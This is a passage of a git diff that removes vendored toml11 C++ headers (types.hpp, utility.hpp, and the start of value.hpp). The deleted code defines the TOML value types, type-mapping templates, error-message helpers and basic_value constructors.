-using remove_cvref_t = typename remove_cvref<T>::type;
-
-}// detail
-}//toml
-#endif // TOML_TRAITS
diff --git a/src/toml11/toml/types.hpp b/src/toml11/toml/types.hpp
deleted file mode 100644
index 1e420e7fd37..00000000000
--- a/src/toml11/toml/types.hpp
+++ /dev/null
@@ -1,173 +0,0 @@
-//     Copyright Toru Niina 2017.
-// Distributed under the MIT License.
-#ifndef TOML11_TYPES_HPP
-#define TOML11_TYPES_HPP
-#include <unordered_map>
-#include <vector>
-
-#include "comments.hpp"
-#include "datetime.hpp"
-#include "string.hpp"
-#include "traits.hpp"
-
-namespace toml
-{
-
-template<typename Comment, // discard/preserve_comment
-         template<typename ...> class Table, // map-like class
-         template<typename ...> class Array> // vector-like class
-class basic_value;
-
-using character = char;
-using key = std::string;
-
-#if !defined(__clang__) && defined(__GNUC__) && __GNUC__ <= 4
-#  pragma GCC diagnostic push
-#  pragma GCC diagnostic ignored "-Wshadow"
-#endif
-
-using boolean        = bool;
-using integer        = std::int64_t;
-using floating       = double; // "float" is a keyword, cannot use it here.
-// the following stuffs are structs defined here, so aliases are not needed.
-// - string
-// - offset_datetime
-// - offset_datetime
-// - local_datetime
-// - local_date
-// - local_time
-
-#if defined(__GNUC__) && !defined(__clang__)
-#  pragma GCC diagnostic pop
-#endif
-
-// default toml::value and default array/table. these are defined after defining
-// basic_value itself.
-// using value = basic_value<discard_comments, std::unordered_map, std::vector>;
-// using array = typename value::array_type;
-// using table = typename value::table_type;
-
-// to avoid warnings about `value_t::integer` is "shadowing" toml::integer in
-// GCC -Wshadow=global.
-#if defined(__GNUC__) && !defined(__clang__)
-#  pragma GCC diagnostic push
-#  if 7 <= __GNUC__
-#    pragma GCC diagnostic ignored "-Wshadow=global"
-#  else // gcc-6 or older
-#    pragma GCC diagnostic ignored "-Wshadow"
-#  endif
-#endif
-enum class value_t : std::uint8_t
-{
-    empty           =  0,
-    boolean         =  1,
-    integer         =  2,
-    floating        =  3,
-    string          =  4,
-    offset_datetime =  5,
-    local_datetime  =  6,
-    local_date      =  7,
-    local_time      =  8,
-    array           =  9,
-    table           = 10,
-};
-#if defined(__GNUC__) && !defined(__clang__)
-#  pragma GCC diagnostic pop
-#endif
-
-template<typename charT, typename traits>
-inline std::basic_ostream<charT, traits>&
-operator<<(std::basic_ostream<charT, traits>& os, value_t t)
-{
-    switch(t)
-    {
-        case value_t::boolean         : os << "boolean";         return os;
-        case value_t::integer         : os << "integer";         return os;
-        case value_t::floating        : os << "floating";        return os;
-        case value_t::string          : os << "string";          return os;
-        case value_t::offset_datetime : os << "offset_datetime"; return os;
-        case value_t::local_datetime  : os << "local_datetime";  return os;
-        case value_t::local_date      : os << "local_date";      return os;
-        case value_t::local_time      : os << "local_time";      return os;
-        case value_t::array           : os << "array";           return os;
-        case value_t::table           : os << "table";           return os;
-        case value_t::empty           : os << "empty";           return os;
-        default                       : os << "unknown";         return os;
-    }
-}
-
-template<typename charT = char,
-         typename traits = std::char_traits<charT>,
-         typename alloc = std::allocator<charT>>
-inline std::basic_string<charT, traits, alloc> stringize(value_t t)
-{
-    std::basic_ostringstream<charT, traits, alloc> oss;
-    oss << t;
-    return oss.str();
-}
-
-namespace detail
-{
-
-// helper to define a type that represents a value_t value.
-template<value_t V>
-using value_t_constant = std::integral_constant<value_t, V>;
-
-// meta-function that convertes from value_t to the exact toml type that corresponds to.
-// It takes toml::basic_value type because array and table types depend on it.
-template<value_t t, typename Value> struct enum_to_type                      {using type = void                      ;};
-template<typename Value> struct enum_to_type<value_t::empty          , Value>{using type = void                      ;};
-template<typename Value> struct enum_to_type<value_t::boolean        , Value>{using type = boolean                   ;};
-template<typename Value> struct enum_to_type<value_t::integer        , Value>{using type = integer                   ;};
-template<typename Value> struct enum_to_type<value_t::floating       , Value>{using type = floating                  ;};
-template<typename Value> struct enum_to_type<value_t::string         , Value>{using type = string                    ;};
-template<typename Value> struct enum_to_type<value_t::offset_datetime, Value>{using type = offset_datetime           ;};
-template<typename Value> struct enum_to_type<value_t::local_datetime , Value>{using type = local_datetime            ;};
-template<typename Value> struct enum_to_type<value_t::local_date     , Value>{using type = local_date                ;};
-template<typename Value> struct enum_to_type<value_t::local_time     , Value>{using type = local_time                ;};
-template<typename Value> struct enum_to_type<value_t::array          , Value>{using type = typename Value::array_type;};
-template<typename Value> struct enum_to_type<value_t::table          , Value>{using type = typename Value::table_type;};
-
-// meta-function that converts from an exact toml type to the enum that corresponds to.
-template<typename T, typename Value>
-struct type_to_enum : std::conditional<
-    std::is_same<T, typename Value::array_type>::value, // if T == array_type,
-    value_t_constant<value_t::array>,                   // then value_t::array
-    typename std::conditional<                          // else...
-        std::is_same<T, typename Value::table_type>::value, // if T == table_type
-        value_t_constant<value_t::table>,               // then value_t::table
-        value_t_constant<value_t::empty>                // else value_t::empty
-        >::type
-    >::type {};
-template<typename Value> struct type_to_enum<boolean        , Value>: value_t_constant<value_t::boolean        > {};
-template<typename Value> struct type_to_enum<integer        , Value>: value_t_constant<value_t::integer        > {};
-template<typename Value> struct type_to_enum<floating       , Value>: value_t_constant<value_t::floating       > {};
-template<typename Value> struct type_to_enum<string         , Value>: value_t_constant<value_t::string         > {};
-template<typename Value> struct type_to_enum<offset_datetime, Value>: value_t_constant<value_t::offset_datetime> {};
-template<typename Value> struct type_to_enum<local_datetime , Value>: value_t_constant<value_t::local_datetime > {};
-template<typename Value> struct type_to_enum<local_date     , Value>: value_t_constant<value_t::local_date     > {};
-template<typename Value> struct type_to_enum<local_time     , Value>: value_t_constant<value_t::local_time     > {};
-
-// meta-function that checks the type T is the same as one of the toml::* types.
-template<typename T, typename Value>
-struct is_exact_toml_type : disjunction<
-    std::is_same<T, boolean        >,
-    std::is_same<T, integer        >,
-    std::is_same<T, floating       >,
-    std::is_same<T, string         >,
-    std::is_same<T, offset_datetime>,
-    std::is_same<T, local_datetime >,
-    std::is_same<T, local_date     >,
-    std::is_same<T, local_time     >,
-    std::is_same<T, typename Value::array_type>,
-    std::is_same<T, typename Value::table_type>
-    >{};
-template<typename T, typename V> struct is_exact_toml_type<T&, V>               : is_exact_toml_type<T, V>{};
-template<typename T, typename V> struct is_exact_toml_type<T const&, V>         : is_exact_toml_type<T, V>{};
-template<typename T, typename V> struct is_exact_toml_type<T volatile&, V>      : is_exact_toml_type<T, V>{};
-template<typename T, typename V> struct is_exact_toml_type<T const volatile&, V>: is_exact_toml_type<T, V>{};
-
-} // detail
-} // toml
-
-#endif// TOML11_TYPES_H
diff --git a/src/toml11/toml/utility.hpp b/src/toml11/toml/utility.hpp
deleted file mode 100644
index 4a6b4309d7f..00000000000
--- a/src/toml11/toml/utility.hpp
+++ /dev/null
@@ -1,149 +0,0 @@
-//     Copyright Toru Niina 2017.
-// Distributed under the MIT License.
-#ifndef TOML11_UTILITY_HPP
-#define TOML11_UTILITY_HPP
-#include <memory>
-#include <sstream>
-#include <utility>
-
-#include "traits.hpp"
-
-#if __cplusplus >= 201402L
-#  define TOML11_MARK_AS_DEPRECATED(msg) [[deprecated(msg)]]
-#elif defined(__GNUC__)
-#  define TOML11_MARK_AS_DEPRECATED(msg) __attribute__((deprecated(msg)))
-#elif defined(_MSC_VER)
-#  define TOML11_MARK_AS_DEPRECATED(msg) __declspec(deprecated(msg))
-#else
-#  define TOML11_MARK_AS_DEPRECATED
-#endif
-
-namespace toml
-{
-
-#if __cplusplus >= 201402L
-
-using std::make_unique;
-
-#else
-
-template<typename T, typename ... Ts>
-inline std::unique_ptr<T> make_unique(Ts&& ... args)
-{
-    return std::unique_ptr<T>(new T(std::forward<Ts>(args)...));
-}
-
-#endif // __cplusplus >= 2014
-
-namespace detail
-{
-template<typename Container>
-void try_reserve_impl(Container& container, std::size_t N, std::true_type)
-{
-    container.reserve(N);
-    return;
-}
-template<typename Container>
-void try_reserve_impl(Container&, std::size_t, std::false_type) noexcept
-{
-    return;
-}
-} // detail
-
-template<typename Container>
-void try_reserve(Container& container, std::size_t N)
-{
-    if(N <= container.size()) {return;}
-    detail::try_reserve_impl(container, N, detail::has_reserve_method<Container>{});
-    return;
-}
-
-namespace detail
-{
-inline std::string concat_to_string_impl(std::ostringstream& oss)
-{
-    return oss.str();
-}
-template<typename T, typename ... Ts>
-std::string concat_to_string_impl(std::ostringstream& oss, T&& head, Ts&& ... tail)
-{
-    oss << std::forward<T>(head);
-    return concat_to_string_impl(oss, std::forward<Ts>(tail) ... );
-}
-} // detail
-
-template<typename ... Ts>
-std::string concat_to_string(Ts&& ... args)
-{
-    std::ostringstream oss;
-    oss << std::boolalpha << std::fixed;
-    return detail::concat_to_string_impl(oss, std::forward<Ts>(args) ...);
-}
-
-template<typename T>
-T from_string(const std::string& str, T opt)
-{
-    T v(opt);
-    std::istringstream iss(str);
-    iss >> v;
-    return v;
-}
-
-namespace detail
-{
-#if __cplusplus >= 201402L
-template<typename T>
-decltype(auto) last_one(T&& tail) noexcept
-{
-    return std::forward<T>(tail);
-}
-
-template<typename T, typename ... Ts>
-decltype(auto) last_one(T&& /*head*/, Ts&& ... tail) noexcept
-{
-    return last_one(std::forward<Ts>(tail)...);
-}
-#else // C++11
-// The following code
-// ```cpp
-//  1 | template<typename T, typename ... Ts>
-//  2 | auto last_one(T&& /*head*/, Ts&& ... tail)
-//  3 |  -> decltype(last_one(std::forward<Ts>(tail)...))
-//  4 | {
-//  5 |     return last_one(std::forward<Ts>(tail)...);
-//  6 | }
-// ```
-// does not work because the function `last_one(...)` is not yet defined at
-// line #3, so `decltype()` cannot deduce the type returned from `last_one`.
-// So we need to determine return type in a different way, like a meta func.
-
-template<typename T, typename ... Ts>
-struct last_one_in_pack
-{
-    using type = typename last_one_in_pack<Ts...>::type;
-};
-template<typename T>
-struct last_one_in_pack<T>
-{
-    using type = T;
-};
-template<typename ... Ts>
-using last_one_in_pack_t = typename last_one_in_pack<Ts...>::type;
-
-template<typename T>
-T&& last_one(T&& tail) noexcept
-{
-    return std::forward<T>(tail);
-}
-template<typename T, typename ... Ts>
-enable_if_t<(sizeof...(Ts) > 0), last_one_in_pack_t<Ts&& ...>>
-last_one(T&& /*head*/, Ts&& ... tail)
-{
-    return last_one(std::forward<Ts>(tail)...);
-}
-
-#endif
-} // detail
-
-}// toml
-#endif // TOML11_UTILITY
diff --git a/src/toml11/toml/value.hpp b/src/toml11/toml/value.hpp
deleted file mode 100644
index 1b43db8d4c7..00000000000
--- a/src/toml11/toml/value.hpp
+++ /dev/null
@@ -1,2035 +0,0 @@
-//     Copyright Toru Niina 2017.
-// Distributed under the MIT License.
-#ifndef TOML11_VALUE_HPP
-#define TOML11_VALUE_HPP
-#include <cassert>
-
-#include "comments.hpp"
-#include "exception.hpp"
-#include "into.hpp"
-#include "region.hpp"
-#include "source_location.hpp"
-#include "storage.hpp"
-#include "traits.hpp"
-#include "types.hpp"
-#include "utility.hpp"
-
-namespace toml
-{
-
-namespace detail
-{
-
-// to show error messages. not recommended for users.
-template<typename Value>
-inline region_base const* get_region(const Value& v)
-{
-    return v.region_info_.get();
-}
-
-template<typename Value>
-void change_region(Value& v, region reg)
-{
-    v.region_info_ = std::make_shared<region>(std::move(reg));
-    return;
-}
-
-template<value_t Expected, typename Value>
-[[noreturn]] inline void
-throw_bad_cast(const std::string& funcname, value_t actual, const Value& v)
-{
-    throw type_error(detail::format_underline(
-        concat_to_string(funcname, "bad_cast to ", Expected), {
-            {v.location(), concat_to_string("the actual type is ", actual)}
-        }), v.location());
-}
-
-// Throw `out_of_range` from `toml::value::at()` and `toml::find()`
-// after generating an error message.
-//
-// The implementation is a bit complicated and there are many edge-cases.
-// If you are not interested in the error message generation, just skip this.
-template<typename Value>
-[[noreturn]] void
-throw_key_not_found_error(const Value& v, const key& ky)
-{
-    // The top-level table has its region at the first character of the file.
-    // That means that, in the case when a key is not found in the top-level
-    // table, the error message points to the first character. If the file has
-    // its first table at the first line, the error message would be like this.
-    // ```console
-    // [error] key "a" not found
-    //  --> example.toml
-    //    |
-    //  1 | [table]
-    //    | ^------ in this table
-    // ```
-    // It actually points to the top-level table at the first character,
-    // not `[table]`. But it is too confusing. To avoid the confusion, the error
-    // message should explicitly say "key not found in the top-level table",
-    // or "the parsed file is empty" if there is no content at all (0 bytes in file).
-    const auto loc = v.location();
-    if(loc.line() == 1 && loc.region() == 0)
-    {
-        // First line with a zero-length region means "empty file".
-        // The region will be generated at `parse_toml_file` function
-        // if the file contains no bytes.
-        throw std::out_of_range(format_underline(concat_to_string(
-            "key \"", ky, "\" not found in the top-level table"), {
-                {loc, "the parsed file is empty"}
-            }));
-    }
-    else if(loc.line() == 1 && loc.region() == 1)
-    {
-        // Here it assumes that top-level table starts at the first character.
-        // The region corresponds to the top-level table will be generated at
-        // `parse_toml_file` function.
-        //     It also assumes that the top-level table size is just one and
-        // the line number is `1`. It is always satisfied. And those conditions
-        // are satisfied only if the table is the top-level table.
-        //
-        // 1. one-character dot-key at the first line
-        // ```toml
-        // a.b = "c"
-        // ```
-        // toml11 counts whole key as the table key. Here, `a.b` is the region
-        // of the table "a". It could be counter intuitive, but it works.
-        // The size of the region is 3, not 1. The above example is the shortest
-        // dot-key example. The size cannot be 1.
-        //
-        // 2. one-character inline-table at the first line
-        // ```toml
-        // a = {b = "c"}
-        // ```
-        // toml11 considers the inline table body as the table region. Here,
-        // `{b = "c"}` is the region of the table "a". The size of the region
-        // is 9, not 1. The shotest inline table still has two characters, `{`
-        // and `}`. The size cannot be 1.
-        //
-        // 3. one-character table declaration at the first line
-        // ```toml
-        // [a]
-        // ```
-        // toml11 considers the whole table key as the table region. Here,
-        // `[a]` is the table region. The size is 3, not 1.
-        //
-        throw std::out_of_range(format_underline(concat_to_string(
-            "key \"", ky, "\" not found in the top-level table"), {
-                {loc, "the top-level table starts here"}
-            }));
-    }
-    else
-    {
-        // normal table.
-        throw std::out_of_range(format_underline(concat_to_string(
-            "key \"", ky, "\" not found"), { {loc, "in this table"} }));
-    }
-}
-
-// switch by `value_t` at the compile time.
-template<value_t T>
-struct switch_cast {};
-#define TOML11_GENERATE_SWITCH_CASTER(TYPE) \
-    template<>                                                           \
-    struct switch_cast<value_t::TYPE>                                    \
-    {                                                                    \
-        template<typename Value>                                         \
-        static typename Value::TYPE##_type& invoke(Value& v)             \
-        {                                                                \
-            return v.as_##TYPE();                                        \
-        }                                                                \
-        template<typename Value>                                         \
-        static typename Value::TYPE##_type const& invoke(const Value& v) \
-        {                                                                \
-            return v.as_##TYPE();                                        \
-        }                                                                \
-        template<typename Value>                                         \
-        static typename Value::TYPE##_type&& invoke(Value&& v)           \
-        {                                                                \
-            return std::move(v).as_##TYPE();                             \
-        }                                                                \
-    };                                                                   \
-    /**/
-TOML11_GENERATE_SWITCH_CASTER(boolean)
-TOML11_GENERATE_SWITCH_CASTER(integer)
-TOML11_GENERATE_SWITCH_CASTER(floating)
-TOML11_GENERATE_SWITCH_CASTER(string)
-TOML11_GENERATE_SWITCH_CASTER(offset_datetime)
-TOML11_GENERATE_SWITCH_CASTER(local_datetime)
-TOML11_GENERATE_SWITCH_CASTER(local_date)
-TOML11_GENERATE_SWITCH_CASTER(local_time)
-TOML11_GENERATE_SWITCH_CASTER(array)
-TOML11_GENERATE_SWITCH_CASTER(table)
-
-#undef TOML11_GENERATE_SWITCH_CASTER
-
-}// detail
-
-template<typename Comment, // discard/preserve_comment
-         template<typename ...> class Table = std::unordered_map,
-         template<typename ...> class Array = std::vector>
-class basic_value
-{
-    template<typename T, typename U>
-    static void assigner(T& dst, U&& v)
-    {
-        const auto tmp = ::new(std::addressof(dst)) T(std::forward<U>(v));
-        assert(tmp == std::addressof(dst));
-        (void)tmp;
-    }
-
-    using region_base = detail::region_base;
-
-    template<typename C, template<typename ...> class T,
-             template<typename ...> class A>
-    friend class basic_value;
-
-  public:
-
-    using comment_type         = Comment;
-    using key_type             = ::toml::key;
-    using value_type           = basic_value<comment_type, Table, Array>;
-    using boolean_type         = ::toml::boolean;
-    using integer_type         = ::toml::integer;
-    using floating_type        = ::toml::floating;
-    using string_type          = ::toml::string;
-    using local_time_type      = ::toml::local_time;
-    using local_date_type      = ::toml::local_date;
-    using local_datetime_type  = ::toml::local_datetime;
-    using offset_datetime_type = ::toml::offset_datetime;
-    using array_type           = Array<value_type>;
-    using table_type           = Table<key_type, value_type>;
-
-  public:
-
-    basic_value() noexcept
-        : type_(value_t::empty),
-          region_info_(std::make_shared<region_base>(region_base{}))
-    {}
-    ~basic_value() noexcept {this->cleanup();}
-
-    basic_value(const basic_value& v)
-        : type_(v.type()), region_info_(v.region_info_), comments_(v.comments_)
-    {
-        switch(v.type())
-        {
-            case value_t::boolean        : assigner(boolean_        , v.boolean_        ); break;
-            case value_t::integer        : assigner(integer_        , v.integer_        ); break;
-            case value_t::floating       : assigner(floating_       , v.floating_       ); break;
-            case value_t::string         : assigner(string_         , v.string_         ); break;
-            case value_t::offset_datetime: assigner(offset_datetime_, v.offset_datetime_); break;
-            case value_t::local_datetime : assigner(local_datetime_ , v.local_datetime_ ); break;
-            case value_t::local_date     : assigner(local_date_     , v.local_date_     ); break;
-            case value_t::local_time     : assigner(local_time_     , v.local_time_     ); break;
-            case value_t::array          : assigner(array_          , v.array_          ); break;
-            case value_t::table          : assigner(table_          , v.table_          ); break;
-            default: break;
-        }
-    }
-    basic_value(basic_value&& v)
-        : type_(v.type()), region_info_(std::move(v.region_info_)),
-          comments_(std::move(v.comments_))
-    {
-        switch(this->type_) // here this->type_ is already initialized
-        {
-            case value_t::boolean        : assigner(boolean_        , std::move(v.boolean_        )); break;
-            case value_t::integer        : assigner(integer_        , std::move(v.integer_        )); break;
-            case value_t::floating       : assigner(floating_       , std::move(v.floating_       )); break;
-            case value_t::string         : assigner(string_         , std::move(v.string_         )); break;
-            case value_t::offset_datetime: assigner(offset_datetime_, std::move(v.offset_datetime_)); break;
-            case value_t::local_datetime : assigner(local_datetime_ , std::move(v.local_datetime_ )); break;
-            case value_t::local_date     : assigner(local_date_     , std::move(v.local_date_     )); break;
-            case value_t::local_time     : assigner(local_time_     , std::move(v.local_time_     )); break;
-            case value_t::array          : assigner(array_          , std::move(v.array_          )); break;
-            case value_t::table          : assigner(table_          , std::move(v.table_          )); break;
-            default: break;
-        }
-    }
-    basic_value& operator=(const basic_value& v)
-    {
-        this->cleanup();
-        this->region_info_ = v.region_info_;
-        this->comments_ = v.comments_;
-        this->type_ = v.type();
-        switch(this->type_)
-        {
-            case value_t::boolean        : assigner(boolean_        , v.boolean_        ); break;
-            case value_t::integer        : assigner(integer_        , v.integer_        ); break;
-            case value_t::floating       : assigner(floating_       , v.floating_       ); break;
-            case value_t::string         : assigner(string_         , v.string_         ); break;
-            case value_t::offset_datetime: assigner(offset_datetime_, v.offset_datetime_); break;
-            case value_t::local_datetime : assigner(local_datetime_ , v.local_datetime_ ); break;
-            case value_t::local_date     : assigner(local_date_     , v.local_date_     ); break;
-            case value_t::local_time     : assigner(local_time_     , v.local_time_     ); break;
-            case value_t::array          : assigner(array_          , v.array_          ); break;
-            case value_t::table          : assigner(table_          , v.table_          ); break;
-            default: break;
-        }
-        return *this;
-    }
-    basic_value& operator=(basic_value&& v)
-    {
-        this->cleanup();
-        this->region_info_ = std::move(v.region_info_);
-        this->comments_ = std::move(v.comments_);
-        this->type_ = v.type();
-        switch(this->type_)
-        {
-            case value_t::boolean        : assigner(boolean_        , std::move(v.boolean_        )); break;
-            case value_t::integer        : assigner(integer_        , std::move(v.integer_        )); break;
-            case value_t::floating       : assigner(floating_       , std::move(v.floating_       )); break;
-            case value_t::string         : assigner(string_         , std::move(v.string_         )); break;
-            case value_t::offset_datetime: assigner(offset_datetime_, std::move(v.offset_datetime_)); break;
-            case value_t::local_datetime : assigner(local_datetime_ , std::move(v.local_datetime_ )); break;
-            case value_t::local_date     : assigner(local_date_     , std::move(v.local_date_     )); break;
-            case value_t::local_time     : assigner(local_time_     , std::move(v.local_time_     )); break;
-            case value_t::array          : assigner(array_          , std::move(v.array_          )); break;
-            case value_t::table          : assigner(table_          , std::move(v.table_          )); break;
-            default: break;
-        }
-        return *this;
-    }
-
-    // overwrite comments ----------------------------------------------------
-
-    basic_value(const basic_value& v, std::vector<std::string> com)
-        : type_(v.type()), region_info_(v.region_info_),
-          comments_(std::move(com))
-    {
-        switch(v.type())
-        {
-            case value_t::boolean        : assigner(boolean_        , v.boolean_        ); break;
-            case value_t::integer        : assigner(integer_        , v.integer_        ); break;
-            case value_t::floating       : assigner(floating_       , v.floating_       ); break;
-            case value_t::string         : assigner(string_         , v.string_         ); break;
-            case value_t::offset_datetime: assigner(offset_datetime_, v.offset_datetime_); break;
-            case value_t::local_datetime : assigner(local_datetime_ , v.local_datetime_ ); break;
-            case value_t::local_date     : assigner(local_date_     , v.local_date_     ); break;
-            case value_t::local_time     : assigner(local_time_     , v.local_time_     ); break;
-            case value_t::array          : assigner(array_          , v.array_          ); break;
-            case value_t::table          : assigner(table_          , v.table_          ); break;
-            default: break;
-        }
-    }
-
-    basic_value(basic_value&& v, std::vector<std::string> com)
-        : type_(v.type()), region_info_(std::move(v.region_info_)),
-          comments_(std::move(com))
-    {
-        switch(this->type_) // here this->type_ is already initialized
-        {
-            case value_t::boolean        : assigner(boolean_        , std::move(v.boolean_        )); break;
-            case value_t::integer        : assigner(integer_        , std::move(v.integer_        )); break;
-            case value_t::floating       : assigner(floating_       , std::move(v.floating_       )); break;
-            case value_t::string         : assigner(string_         , std::move(v.string_         )); break;
-            case value_t::offset_datetime: assigner(offset_datetime_, std::move(v.offset_datetime_)); break;
-            case value_t::local_datetime : assigner(local_datetime_ , std::move(v.local_datetime_ )); break;
-            case value_t::local_date     : assigner(local_date_     , std::move(v.local_date_     )); break;
-            case value_t::local_time     : assigner(local_time_     , std::move(v.local_time_     )); break;
-            case value_t::array          : assigner(array_          , std::move(v.array_          )); break;
-            case value_t::table          : assigner(table_          , std::move(v.table_          )); break;
-            default: break;
-        }
-    }
-
-    // -----------------------------------------------------------------------
-    // conversion between different basic_values.
-    template<typename C,
-             template<typename ...> class T,
-             template<typename ...> class A>
-    basic_value(const basic_value<C, T, A>& v)
-        : type_(v.type()), region_info_(v.region_info_), comments_(v.comments())
-    {
-        switch(v.type())
-        {
-            case value_t::boolean        : assigner(boolean_        , v.boolean_        ); break;
-            case value_t::integer        : assigner(integer_        , v.integer_        ); break;
-            case value_t::floating       : assigner(floating_       , v.floating_       ); break;
-            case value_t::string         : assigner(string_         , v.string_         ); break;
-            case value_t::offset_datetime: assigner(offset_datetime_, v.offset_datetime_); break;
-            case value_t::local_datetime : assigner(local_datetime_ , v.local_datetime_ ); break;
-            case value_t::local_date     : assigner(local_date_     , v.local_date_     ); break;
-            case value_t::local_time     : assigner(local_time_     , v.local_time_     ); break;
-            case value_t::array          :
-            {
-                array_type tmp(v.as_array(std::nothrow).begin(),
-                               v.as_array(std::nothrow).end());
-                assigner(array_, std::move(tmp));
-                break;
-            }
-            case value_t::table          :
-            {
-                table_type tmp(v.as_table(std::nothrow).begin(),
-                               v.as_table(std::nothrow).end());
-                assigner(table_, std::move(tmp));
-                break;
-            }
-            default: break;
-        }
-    }
-    template<typename C,
-             template<typename ...> class T,
-             template<typename ...> class A>
-    basic_value(const basic_value<C, T, A>& v, std::vector<std::string> com)
-        : type_(v.type()), region_info_(v.region_info_),
-          comments_(std::move(com))
-    {
-        switch(v.type())
-        {
-            case value_t::boolean        : assigner(boolean_        , v.boolean_        ); break;
-            case value_t::integer        : assigner(integer_        , v.integer_        ); break;
-            case value_t::floating       : assigner(floating_       , v.floating_       ); break;
-            case value_t::string         : assigner(string_         , v.string_         ); break;
-            case value_t::offset_datetime: assigner(offset_datetime_, v.offset_datetime_); break;
-            case value_t::local_datetime : assigner(local_datetime_ , v.local_datetime_ ); break;
-            case value_t::local_date     : assigner(local_date_     , v.local_date_     ); break;
-            case value_t::local_time     : assigner(local_time_     , v.local_time_     ); break;
-            case value_t::array          :
-            {
-                array_type tmp(v.as_array(std::nothrow).begin(),
-                               v.as_array(std::nothrow).end());
-                assigner(array_, std::move(tmp));
-                break;
-            }
-            case value_t::table          :
-            {
-                table_type tmp(v.as_table(std::nothrow).begin(),
-                               v.as_table(std::nothrow).end());
-                assigner(table_, std::move(tmp));
-                break;
-            }
-            default: break;
-        }
-    }
-    template<typename C,
-             template<typename ...> class T,
-             template<typename ...> class A>
-    basic_value& operator=(const basic_value<C, T, A>& v)
-    {
-        this->region_info_ = v.region_info_;
-        this->comments_    = comment_type(v.comments());
-        this->type_        = v.type();
-        switch(v.type())
-        {
-            case value_t::boolean        : assigner(boolean_        , v.boolean_        ); break;
-            case value_t::integer        : assigner(integer_        , v.integer_        ); break;
-            case value_t::floating       : assigner(floating_       , v.floating_       ); break;
-            case value_t::string         : assigner(string_         , v.string_         ); break;
-            case value_t::offset_datetime: assigner(offset_datetime_, v.offset_datetime_); break;
-            case value_t::local_datetime : assigner(local_datetime_ , v.local_datetime_ ); break;
-            case value_t::local_date     : assigner(local_date_     , v.local_date_     ); break;
-            case value_t::local_time     : assigner(local_time_     , v.local_time_     ); break;
-            case value_t::array          :
-            {
-                array_type tmp(v.as_array(std::nothrow).begin(),
-                               v.as_array(std::nothrow).end());
-                assigner(array_, std::move(tmp));
-                break;
-            }
-            case value_t::table          :
-            {
-                table_type tmp(v.as_table(std::nothrow).begin(),
-                               v.as_table(std::nothrow).end());
-                assigner(table_, std::move(tmp));
-                break;
-            }
-            default: break;
-        }
-        return *this;
-    }
-
-    // boolean ==============================================================
-
-    basic_value(boolean b)
-        : type_(value_t::boolean),
-          region_info_(std::make_shared<region_base>(region_base{}))
-    {
-        assigner(this->boolean_, b);
-    }
-    basic_value& operator=(boolean b)
-    {
-        this->cleanup();
-        this->type_ = value_t::boolean;
-        this->region_info_ = std::make_shared<region_base>(region_base{});
-        assigner(this->boolean_, b);
-        return *this;
-    }
-    basic_value(boolean b, std::vector<std::string> com)
-        : type_(value_t::boolean),
-          region_info_(std::make_shared<region_base>(region_base{})),
-          comments_(std::move(com))
-    {
-        assigner(this->boolean_, b);
-    }
-
-    // integer ==============================================================
-
-    template<typename T, typename std::enable_if<detail::conjunction<
-        std::is_integral<T>, detail::negation<std::is_same<T, boolean>>>::value,
-        std::nullptr_t>::type = nullptr>
-    basic_value(T i)
-        : type_(value_t::integer),
-          region_info_(std::make_shared<region_base>(region_base{}))
-    {
-        assigner(this->integer_, static_cast<integer>(i));
-    }
-
-    template<typename T, typename std::enable_if<detail::conjunction<
-        std::is_integral<T>, detail::negation<std::is_same<T, boolean>>>::value,
-        std::nullptr_t>::type = nullptr>
-    basic_value& operator=(T i)
-    {
-        this->cleanup();
-        this->type_ = value_t::integer;
-        this->region_info_ = std::make_shared<region_base>(region_base{});
-        assigner(this->integer_, static_cast<integer>(i));
-        return *this;
-    }
-
-    template<typename T, typename std::enable_if<detail::conjunction<
-        std::is_integral<T>, detail::negation<std::is_same<T, boolean>>>::value,
-        std::nullptr_t>::type = nullptr>
-    basic_value(T i, std::vector<std::string> com)
-        : type_(value_t::integer),
-          region_info_(std::make_shared<region_base>(region_base{})),
-          comments_(std::move(com))
-    {
-        assigner(this->integer_, static_cast<integer>(i));
-    }
-
-    // floating =============================================================
-
-    template<typename T, typename std::enable_if<
-        std::is_floating_point<T>::value, std::nullptr_t>::type = nullptr>
-    basic_value(T f)
-        : type_(value_t::floating),
-          region_info_(std::make_shared<region_base>(region_base{}))
-    {
-        assigner(this->floating_, static_cast<floating>(f));
-    }
-
-
-    template<typename T, typename std::enable_if<
-        std::is_floating_point<T>::value, std::nullptr_t>::type = nullptr>
-    basic_value& operator=(T f)
-    {
-        this->cleanup();
-        this->type_ = value_t::floating;
-        this->region_info_ = std::make_shared<region_base>(region_base{});
-        assigner(this->floating_, static_cast<floating>(f));
-        return *this;
-    }
-
-    template<typename T, typename std::enable_if<
-        std::is_floating_point<T>::value, std::nullptr_t>::type = nullptr>
-    basic_value(T f, std::vector<std::string> com)
-        : type_(value_t::floating),
-          region_info_(std::make_shared<region_base>(region_base{})),
-          comments_(std::move(com))
-    {
-        assigner(this->floating_, f);
-    }
-
-    // string ===============================================================
-
-    basic_value(toml::string s)
-        : type_(value_t::string),
-          region_info_(std::make_shared<region_base>(region_base{}))
-    {
-        assigner(this->string_, std::move(s));
-    }
-    basic_value& operator=(toml::string s)
-    {
-        this->cleanup();
-        this->type_ = value_t::string ;
-        this->region_info_ = std::make_shared<region_base>(region_base{});
-        assigner(this->string_, s);
-        return *this;
-    }
-    basic_value(toml::string s, std::vector<std::string> com)
-        : type_(value_t::string),
-          region_info_(std::make_shared<region_base>(region_base{})),
-          comments_(std::move(com))
-    {
-        assigner(this->string_, std::move(s));
-    }
-
-    basic_value(std::string s)
-        : type_(value_t::string),
-          region_info_(std::make_shared<region_base>(region_base{}))
-    {
-        assigner(this->string_, toml::string(std::move(s)));
-    }
-    basic_value& operator=(std::string s)
-    {
-        this->cleanup();
-        this->type_ = value_t::string ;
-        this->region_info_ = std::make_shared<region_base>(region_base{});
-        assigner(this->string_, toml::string(std::move(s)));
-        return *this;
-    }
-    basic_value(std::string s, string_t kind)
-        : type_(value_t::string),
-          region_info_(std::make_shared<region_base>(region_base{}))
-    {
-        assigner(this->string_, toml::string(std::move(s), kind));
-    }
-    basic_value(std::string s, std::vector<std::string> com)
-        : type_(value_t::string),
-          region_info_(std::make_shared<region_base>(region_base{})),
-          comments_(std::move(com))
-    {
-        assigner(this->string_, toml::string(std::move(s)));
-    }
-    basic_value(std::string s, string_t kind, std::vector<std::string> com)
-        : type_(value_t::string),
-          region_info_(std::make_shared<region_base>(region_base{})),
-          comments_(std::move(com))
-    {
-        assigner(this->string_, toml::string(std::move(s), kind));
-    }
-
